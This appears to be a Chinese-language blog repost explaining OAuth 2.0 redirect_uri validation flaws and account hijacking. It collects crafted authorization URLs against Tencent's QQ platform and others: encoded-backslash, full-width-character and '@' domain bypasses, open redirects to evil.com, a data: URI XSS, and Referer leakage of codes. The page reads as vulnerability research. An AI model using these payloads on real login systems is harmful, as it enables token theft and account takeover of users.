开放授权(OAuth)是一个开放标准,允许用户让第三方应用访问该用户在某一网站上存储的私密的资源(如照片,视频,联系人列表),而无需将用户名和密码提供给第三方应用.目前广泛使用的版本是OAuth 2.0.而OAuth2.0存在认证缺陷-即第三方帐号快捷登录授权可能被劫持。
OAuth 2.0中有6种常用的授权类型:
- Authorization Code
- Implicit
- Password
- Client Credentials
- Device Code
- Refresh Token
- 目前大部分厂商使用Authorization Code(授权码模式)
redirect_uri过滤不严导致用户敏感信息泄露
重定向到我们自己的域名可以获取access token
https://www.example.com/signin/authorize?[...]&redirect_uri=https://demo.example.com/loginsuccessful https://www.example.com/signin/authorize?[...]&redirect_uri=https://localhost.evil.com
开放重定向获取access token
https://www.example.com/oauth2/authorize?[...]&redirect_uri=https://accounts.qq.com/BackToAuthSubTarget?next=https://evil.com https://www.example.com/oauth2/authorize?[...]&redirect_uri=https%3A%2F%2Fapps.facebook.com%2Fattacker%2F腾讯OAuth平台redirect_uri过滤不严一
1.测试发现,如果一个应用的回调域是www.a.com,授权平台是允许其跳转到以www.a.com为基域的其他子域的,比如sub.www.a.com(但是sub.a.com)是不行的.
2.腾讯授权平台对于URL域的判断没有考虑一些浏览器的特性,比如在url中存在时,大多数浏览器是会将其变为/. 因此,授权平台认为www.b.com.www.a.com 也是一个www.a.com的子域,而浏览器实际确是跳转到www.baidu.com/.www.a.com 从而引起token/code的泄露.
http://openapi.qzone.qq.com/oauth/show?which=Login&display=pc&response_type=code&client_id=100263567&redirect_uri=http://www.baidu.com%5C.security.tencent.com/index.php/sign/qq_callback&scope=get_user_info,add_pic_t,add_t 跳转到可控站点,泄漏code http://www.baidu.com%5c.security.tencent.com/index.php/sign/qq_callback?code=B9671172B18275C408EE3ED** 利用泄漏的code即可直接劫持 http://security.tencent.com/index.php/sign/qq_callback?code=B9671172B18275C408EE3ED**
跳转到可控站点,泄漏code
http://www.baidu.com%5c.security.tencent.com/index.php/sign/qq_callback?code=B9671172B18275C408EE3ED**
利用泄漏的code即可直接劫持
http://security.tencent.com/index.php/sign/qq_callback?code=B9671172B18275C408EE3ED**腾讯OAuth平台redirect_uri过滤不严二
http://openapi.qzone.qq.com/oauth/show?which=Login&display=pc&scope=get_user_info,get_info,add_t,add_pic_t,get_other_info,get_fanslist,get_idollist,add_idol,add_share&redirect_uri=http://pujun.li?@www.zhihu.com/oauth/auth/request_qqconn_token?next=%2Foauth%2Faccount_callback&response_type=code&client_id=100490701腾讯OAuth平台redirect_uri过滤不严三
腾讯OAuth平台对redirect_uri校验时, 未考虑一些奇怪的浏览器特性, 导致redirect_uri检验被绕过.
safari会对url中的full width字符自动转化为常见的字符, 比如下面这个url:
http://www.test.com
跳转http://www.test.com
那么同样的, 把/ # ?这类分割的字符 转化为full width字符后, 虽然服务器认为这样的字符已经不能分割了, 但在浏览器处理时, 依然进行了分割.
http://openapi.qzone.qq.com/oauth/show?which=Login&display=pc&response_type=code&client_id=100263567&redirect_uri=http://www.aaaa.com/.security.tencent.com/2.php&scope=get_user_info,add_pic_t,add_t腾讯OAuth平台redirect_uri过滤不严四
http://openapi.qzone.qq.com/oauth/show?which=/confirm/iPage&display=pc&response_type=code&client_id=204566&redirect_uri=http%3A%2F%2Fapp.56.com@pujun.li&state=048cf6b68d98606939f0287860c53235
通过重定向redirect_uri也可执行XSS
https://example.com/oauth/v1/authorize?[...]&redirect_uri=data%3Atext%2Fhtml%2Ca&state=通过Refer获取OAuth信息
当可以注入html标签但是由于各种过滤等情况无法XSS时候,我们可以利用oauth劫持
OAuth登录场景
当以QQ在电脑上已经进行了登陆,所以我可以直接进行登陆,这时候以QQ登入A.com进行抓包截取整个流程 。登入链接:
https://graph.qq.com/oauth2.0/show?which=Login&display=pc&response_type=code&client_id=100273020&redirect_uri=http://a.com/auth/callback/homakov/8820324?code=CODE
得到如下两个请求过程:
请求1:
POST /oauth2.0/authorize HTTP/1.1 Host:graph.qq.com
Response1:
HTTP/1.1 302 Moved Temporarily Server:tws Date:Fri,11 Oct 2018 12:40:42 GMT Content-Type:0 Connection:keep-alive Keep-Alive:time=50 Content-Encoding:gzip Location:http:/a.com/?homakov/8820324?code=CODE
请求2:(生成授权码code后携带授权码请求a.com)
GET /homakov/8820324?code=CODE Host:a.com
Response2:
HTTP/1.1 302 Moved Temporarily Content-Length: 0 Connection: close Set-cookie: 用户凭证 Location: https://www.a.com/ Cache-Control: max-age=0
此过程中经过了两次跨域
graph.qq.com->用户代理服务(tws Server)
tws Server->a.com
在OAuth2协议中有保护机制防止‘泄露的’重定向URI,每个code参数都签发给对应的‘redirect_uri’。要获得访问令牌必须提供你在认证流程中使用的准确的redirect_uri。
基本上,泄露的Referer有两个向量:用户点击一个链接(需要交互)或用户代理载入一些跨站资源,比如 ,我不能简单的注入(img src=http://attackersite.com),因为这会替换成camo-proxy URL,这样就不能把Referer头传递到攻击者的主机。为了能够绕过Camo-s 过滤器,这里有一个小技巧:
构造一个URL
https://xx.com/oauth2.0/show?which=Login&display=pc&response_type=code&client_id=100273020&redirect_uri=http://a.com/auth/callback/homakov/8820324&code
当用户载入这个url时,网站会重定向自己
对应地址: http://a.com/auth/callback/homakov/8820324?code=CODE
假设a.com为百度云,ref与重定向如下
但是用户代理载入为:
http://a.com/homakov/8820324?code=CODE
那么用户代理会把发送请求的CODE泄露给我们的
http://a.com/homakov/8820324?code=fecbb6e8b4699053
一旦我们获得受害者的CODE,我们点击 :
https://a.com/auth/github/callback?code=CODE
就可登录进受害者账号
先知大佬的一个案例
A.com代表目标A的域名来展示我是怎样发现一个账号劫持漏洞的。
打开A的QQ登陆链接后,我发现了一些奇妙的事。
如上图,redirect_uri并没有指向A.com,而是指向了B.com。将参数URL解码,
如上 这里涉及到2次跨域登陆:
- redirect_uri: qq.com => B.com
- s_url: B.com => A.com
QQ已经对redirect_uri参数做了强校验,要想劫持到B.com的登陆账号已经不太可能。所以,我的目标放在了s_url这个参数上。
简单分析一下登陆流程就能发现s_url是如何工作的。
(a) 首先,用户使用QQ账号登陆到B.com;
(b) 然后B.com发送如下请求,获取token,并引导用户携带token跳转到A.com;
(c) A.com验证token是合法的,则种下cookie。
至此,用户成功登陆到A.com。
从整个登陆流程来看,只要我们能想办法窃取到token,就能劫持用户的登陆账号。
我的目标是窃取到token,最直接的办法当然是修改参数s_url,让用户携带token跳转到恶意域名,从而泄露token。
一番测试后,我发现s_url的校验也很严格,即使在路径后面附加一些字符,生成的跳转链接中都不会携带token。
经过一些fuzz后,我发现我似乎能在最后一个字符后面附加一些符号。
我可以在s_url的结尾附加3种符号,而不影响token的生成,分别是:
众所周知,URL中的# 将被浏览器视作锚点,其后的数据不会发送到服务器。
当用户跳转到这个地址,自然会无法认证成功,并停留在Login页面。
此时token也将出现在URL中。
至此,我们已经在窃取token的道路上迈出了重要的一步。
那么,如何获取到URL中的token?
如果我们能找到一个XSS,就能获取
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)